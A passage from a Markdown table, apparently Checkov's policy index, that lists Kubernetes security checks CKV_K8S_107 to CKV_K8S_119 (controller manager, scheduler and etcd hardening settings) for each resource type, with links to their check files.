[KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7477 | CKV_K8S_107 | resource | ReplicationController | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7478 | CKV_K8S_107 | resource | StatefulSet | Ensure that the --profiling argument is set to false | Kubernetes | [KubeControllerManagerBlockProfiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py) | | 7479 | CKV_K8S_108 | resource | CronJob | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7480 | CKV_K8S_108 | resource | DaemonSet | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7481 | CKV_K8S_108 | resource | Deployment | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7482 | CKV_K8S_108 | resource | DeploymentConfig | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7483 | CKV_K8S_108 | resource | Job | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7484 | CKV_K8S_108 | resource | Pod | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7485 | CKV_K8S_108 | resource | PodTemplate | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7486 | CKV_K8S_108 | resource | ReplicaSet | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7487 | CKV_K8S_108 | resource | ReplicationController | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7488 | CKV_K8S_108 | resource | StatefulSet | Ensure that the --use-service-account-credentials argument is set to true | Kubernetes | [KubeControllerManagerServiceAccountCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py) | | 7489 | CKV_K8S_110 | resource | CronJob | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7490 | CKV_K8S_110 | resource | DaemonSet | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7491 | CKV_K8S_110 | resource | Deployment | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7492 | CKV_K8S_110 | resource | DeploymentConfig | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7493 | CKV_K8S_110 | resource | Job | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7494 | CKV_K8S_110 | resource | Pod | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7495 | CKV_K8S_110 | resource | PodTemplate | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7496 | CKV_K8S_110 | resource | ReplicaSet | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7497 | CKV_K8S_110 | resource | ReplicationController | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7498 | CKV_K8S_110 | resource | StatefulSet | Ensure that the --service-account-private-key-file argument is set as appropriate | Kubernetes | [KubeControllerManagerServiceAccountPrivateKeyFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py) | | 7499 | CKV_K8S_111 | resource | CronJob | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7500 | CKV_K8S_111 | resource | DaemonSet | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7501 | CKV_K8S_111 | resource | Deployment | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7502 | CKV_K8S_111 | resource | DeploymentConfig | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7503 | CKV_K8S_111 | resource | Job | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7504 | CKV_K8S_111 | resource | Pod | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7505 | CKV_K8S_111 | resource | PodTemplate | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7506 | CKV_K8S_111 | resource | ReplicaSet | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7507 | CKV_K8S_111 | resource | ReplicationController | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7508 | CKV_K8S_111 | resource | StatefulSet | Ensure that the --root-ca-file argument is set as appropriate | Kubernetes | [KubeControllerManagerRootCAFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py) | | 7509 | CKV_K8S_112 | resource | CronJob | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7510 | CKV_K8S_112 | resource | DaemonSet | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7511 | CKV_K8S_112 | resource | Deployment | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7512 | CKV_K8S_112 | resource | DeploymentConfig | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7513 | CKV_K8S_112 | resource | Job | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7514 | CKV_K8S_112 | resource | Pod | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7515 | CKV_K8S_112 | resource | PodTemplate | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7516 | CKV_K8S_112 | resource | ReplicaSet | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7517 | CKV_K8S_112 | resource | ReplicationController | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7518 | CKV_K8S_112 | resource | StatefulSet | Ensure that the RotateKubeletServerCertificate argument is set to true | Kubernetes | [RotateKubeletServerCertificate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py) | | 7519 | CKV_K8S_113 | resource | CronJob | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7520 | CKV_K8S_113 | resource | DaemonSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7521 | CKV_K8S_113 | resource | Deployment | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7522 | CKV_K8S_113 | resource | DeploymentConfig | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7523 | CKV_K8S_113 | resource | Job | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7524 | CKV_K8S_113 | resource | Pod | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7525 | CKV_K8S_113 | resource | PodTemplate | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7526 | CKV_K8S_113 | resource | ReplicaSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7527 | CKV_K8S_113 | resource | ReplicationController | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7528 | CKV_K8S_113 | resource | StatefulSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [ControllerManagerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py) | | 7529 | CKV_K8S_114 | resource | CronJob | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7530 | CKV_K8S_114 | resource | DaemonSet | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7531 | CKV_K8S_114 | resource | Deployment | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7532 | CKV_K8S_114 | resource | DeploymentConfig | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7533 | CKV_K8S_114 | resource | Job | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7534 | CKV_K8S_114 | resource | Pod | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7535 | CKV_K8S_114 | resource | PodTemplate | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7536 | CKV_K8S_114 | resource | ReplicaSet | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7537 | CKV_K8S_114 | resource | ReplicationController | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7538 | CKV_K8S_114 | resource | StatefulSet | Ensure that the --profiling argument is set to false | Kubernetes | [SchedulerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py) | | 7539 | CKV_K8S_115 | resource | CronJob | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7540 | CKV_K8S_115 | resource | DaemonSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7541 | CKV_K8S_115 | resource | Deployment | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7542 | CKV_K8S_115 | resource | DeploymentConfig | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7543 | CKV_K8S_115 | resource | Job | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7544 | CKV_K8S_115 | resource | Pod | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7545 | CKV_K8S_115 | resource | PodTemplate | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7546 | CKV_K8S_115 | resource | ReplicaSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7547 | CKV_K8S_115 | resource | ReplicationController | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7548 | CKV_K8S_115 | resource | StatefulSet | Ensure that the --bind-address argument is set to 127.0.0.1 | Kubernetes | [SchedulerBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py) | | 7549 | CKV_K8S_116 | resource | CronJob | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7550 | CKV_K8S_116 | resource | DaemonSet | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7551 | CKV_K8S_116 | resource | Deployment | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7552 | CKV_K8S_116 | resource | DeploymentConfig | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7553 | CKV_K8S_116 | resource | Job | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7554 | CKV_K8S_116 | resource | Pod | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7555 | CKV_K8S_116 | resource | PodTemplate | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7556 | CKV_K8S_116 | resource | ReplicaSet | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7557 | CKV_K8S_116 | resource | ReplicationController | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7558 | CKV_K8S_116 | resource | StatefulSet | Ensure that the --cert-file and --key-file arguments are set as appropriate | Kubernetes | [EtcdCertAndKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py) | | 7559 | CKV_K8S_117 | resource | CronJob | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7560 | CKV_K8S_117 | resource | DaemonSet | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7561 | CKV_K8S_117 | resource | Deployment | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7562 | CKV_K8S_117 | resource | DeploymentConfig | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7563 | CKV_K8S_117 | resource | Job | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7564 | CKV_K8S_117 | resource | Pod | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7565 | CKV_K8S_117 | resource | PodTemplate | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7566 | CKV_K8S_117 | resource | ReplicaSet | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7567 | CKV_K8S_117 | resource | ReplicationController | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7568 | CKV_K8S_117 | resource | StatefulSet | Ensure that the --client-cert-auth argument is set to true | Kubernetes | [EtcdClientCertAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py) | | 7569 | CKV_K8S_118 | resource | CronJob | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7570 | CKV_K8S_118 | resource | DaemonSet | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7571 | CKV_K8S_118 | resource | Deployment | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7572 | CKV_K8S_118 | resource | DeploymentConfig | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7573 | CKV_K8S_118 | resource | Job | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7574 | CKV_K8S_118 | resource | Pod | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7575 | CKV_K8S_118 | resource | PodTemplate | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7576 | CKV_K8S_118 | resource | ReplicaSet | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7577 | CKV_K8S_118 | resource | ReplicationController | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7578 | CKV_K8S_118 | resource | StatefulSet | Ensure that the --auto-tls argument is not set to true | Kubernetes | [EtcdAutoTls.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py) | | 7579 | CKV_K8S_119 | resource | CronJob | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7580 | CKV_K8S_119 | resource | DaemonSet | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7581 | CKV_K8S_119 | resource | Deployment | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7582 | CKV_K8S_119 | resource | DeploymentConfig | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7583 | CKV_K8S_119 | resource | Job | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7584 | CKV_K8S_119 | resource | Pod | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7585 | CKV_K8S_119 | resource | PodTemplate | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7586 | CKV_K8S_119 | resource | ReplicaSet | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7587 | CKV_K8S_119 | resource | ReplicationController | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7588 